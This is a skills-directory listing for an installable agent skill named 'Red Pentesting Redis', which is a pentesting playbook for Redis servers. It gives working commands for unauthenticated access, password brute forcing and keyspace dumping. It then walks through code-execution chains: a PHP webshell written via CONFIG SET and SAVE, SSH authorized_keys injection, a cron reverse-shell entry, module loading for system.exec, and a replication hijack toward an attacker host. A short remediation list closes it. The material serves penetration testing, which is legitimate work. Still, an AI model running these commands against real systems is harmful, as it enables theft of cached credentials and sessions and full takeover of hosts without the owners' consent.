Skip to content
Back to skills

Red Pentesting Redis

DSecurity

Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape…

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securitypythongophpshellbashtestinggitdatabase

Works with

  • cli

Security analysis

D50/100
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill red-pentesting-redis --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Red Pentesting Redis?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Red Pentesting Redis
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-red-pentesting-redis/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-red-pentesting-redis)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: red-pentesting-redis
description: Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape…
domain: red
category: network
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/red-pentesting-redis/SKILL.md
---
# Pentesting Redis (port 6379)

## When to Use
- Default port `6379/tcp`; Redis is a **plain-text line protocol** (optionally TLS), so `nc` and `redis-cli` both work directly.
- Banner/`nmap` shows `redis` and a version like `Redis key-value store 4.0.9`.
- Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.

## Quick Enumeration
```bash
nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'

# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP>            # apt-get install redis-tools
redis-cli -h <IP> info       # full instance info
```

## Critical: Checks Most Often Missed
- **Unauthenticated access** — the #1 miss. By default Redis needs no credentials; `info` returns instance data instead of `-NOAUTH Authentication required.`
  - How to CONFIRM: `redis-cli -h <IP> info` returns server stats. If `-NOAUTH` is returned, creds are required (`AUTH <user> <pass>`; reply `+OK` = valid). Only password configured → username is `default`.
- **CONFIG SET dir/dbfilename → webshell write** — repoint the RDB save path to a webroot, set a key to PHP, and `SAVE` to write a shell.
  - How to CONFIRM: `config set dir /var/www/html`, `config set dbfilename redis.php`, `set test "<?php system($_GET['c']);?>"`, `save`, then `http://<IP>/redis.php?c=id`.
- **SSH authorized_keys write** — write your public key into `~/.ssh/authorized_keys` of the redis (or another) user and log in.
  - How to CONFIRM: `config set dir /var/lib/redis/.ssh`, `config set dbfilename authorized_keys`, set a spaced key, `save`, then `ssh -i id_rsa redis@<IP>`.
- **Cron job write** — write a crontab entry to `/var/spool/cron/crontabs/` (Ubuntu) or `/var/spool/cron/` (CentOS) for a callback.
  - How to CONFIRM: set a key containing a `*/1 * * * * <rev shell>` line, `config set dir /var/spool/cron/crontabs/`, `config set dbfilename root`, `save`.
- **Module load → direct command exec** — `MODULE LOAD /path/mymodule.so` (RedisModules-ExecuteCommand) adds `system.exec`/`system.rev`.
  - How to CONFIRM: after upload+load, `system.exec "id"` returns `uid=0(root)`.
- **Lua sandbox escape CVEs** — Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 with Lua enabled: CVE-2025-49844 (parser UAF→RCE), CVE-2025-46817 (`unpack` overflow DoS), CVE-2025-46818 (metatable cross-user code exec); older CVE-2022-0543 (Debian Lua sandbox escape→RCE).
- **Master-slave replication abuse** — `slaveof <attacker> 6379` makes the target a replica you control (module-load RCE chains).

## Workflow

### Step 1: Enumerate
```bash
redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*'       # full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir       # run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace        # which databases (0..N) hold data
```

### Step 2: Authenticate (anonymous, AUTH, brute force)
```bash
redis-cli -h <IP>                      # try unauthenticated first
redis-cli -h <IP> -a <password> info   # password only (user = default)
# Inside a session if NOAUTH:
#   AUTH <username> <password>          -> +OK means valid
nmap --script redis-brute -p6379 <IP>
hydra -P passwords.txt redis://<IP>
nxc redis <IP> -u '' -p passwords.txt
```

### Step 3: Exploit / Extract (dump keys + RCE primitive)
```bash
# Dump the keyspace
redis-cli -h <IP> -n 1                 # select db 1
#   SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key>
```
```bash
# Webshell write
redis-cli -h <IP>
> config set dir /usr/share/nginx/html
> config set dbfilename redis.php
> set test "<?php phpinfo(); ?>"
> save
```
```bash
# SSH key write
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key
redis-cli -h <IP> config set dir /var/lib/redis/.ssh
redis-cli -h <IP> config set dbfilename "authorized_keys"
redis-cli -h <IP> save
ssh -i ~/.ssh/id_rsa redis@<IP>
```
```bash
# Module load RCE
redis-cli -h <IP> MODULE LOAD /tmp/module.so
redis-cli -h <IP> MODULE LIST
redis-cli -h <IP> system.exec "id"
# Automated interactive/reverse shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER>
```

### Step 4: Post-access / privilege escalation / pivot
- After a webshell/SSH/cron foothold, treat as host access — enumerate the redis user, sudo rights, and other local services.
- Master-slave: `redis-cli -h <IP> slaveof <attacker_IP> 6379`, then push keys/modules from your master to the target replica.
- Note `rename-command` may rename/disable `FLUSHDB`, `CONFIG`, etc.; check `CONFIG GET *` and try alternates.
- SSRF/CRLF reachability: if a web app reaches Redis (e.g. GitLab CVE chain), inject queue payloads for RCE.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **Unauthenticated default** | Redis accepts commands with no credentials unless `requirepass`/ACL configured. |
| **CONFIG SET dir + dbfilename + SAVE** | Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs. |
| **MODULE LOAD** | Loads a native `.so` exposing `system.exec`/`system.rev` for command execution. |
| **slaveof / replicaof** | Makes the target a replica of an attacker master, enabling payload push. |
| **Lua scripting (EVAL)** | Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions. |
| **rename-command** | Server-side renaming/removal of commands; may block CONFIG/FLUSH. |
| **Keyspace / databases** | Numbered DBs (0..N); `SELECT n` then `KEYS *` to dump. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **redis-cli / nc** | Native client and raw socket interaction with the text protocol. |
| **nmap NSE** | `redis-info` (instance details), `redis-brute` (credential brute). |
| **Metasploit** | `scanner/redis/redis_server`, `redis/redis_login`, `redis/file_upload`. |
| **netexec (nxc)** | `nxc redis <IP> ...` for auth checks/spraying. |
| **redis-rogue-server** | Automated module-load RCE / reverse shell (Redis <= 5.0.5). |
| **RedisModules-ExecuteCommand** | Compile the `.so` module exposing `system.exec`. |
| **redis-dump / redis-utils** | Bulk export of the keyspace (npm / python). |

## Common Scenarios
### Scenario 1: Unauth access → data theft
`redis-cli -h <IP> info` works with no password. `SELECT 1; KEYS *; GET <key>` dumps session tokens and cached credentials, immediately reusable elsewhere.

### Scenario 2: Unauth → webshell RCE
Redis is unauthenticated and a web root is writable. `config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save` lands a shell; `x.php?c=id` returns `www-data`.

### Scenario 3: Unauth → SSH foothold
The redis user's home is writable. The tester writes their public key to `/var/lib/redis/.ssh/authorized_keys` via CONFIG+SAVE and logs in over SSH as `redis`.

## Output Format
```
## Redis Finding

**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
  - `redis-cli -h <IP> info` returned server stats with no AUTH
  - config set dir /var/www/html; set p "<?php ...?>"; save -> file written
  - http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
  1. Enable authentication (`requirepass` / ACL users) with a strong password.
  2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
  3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
  4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.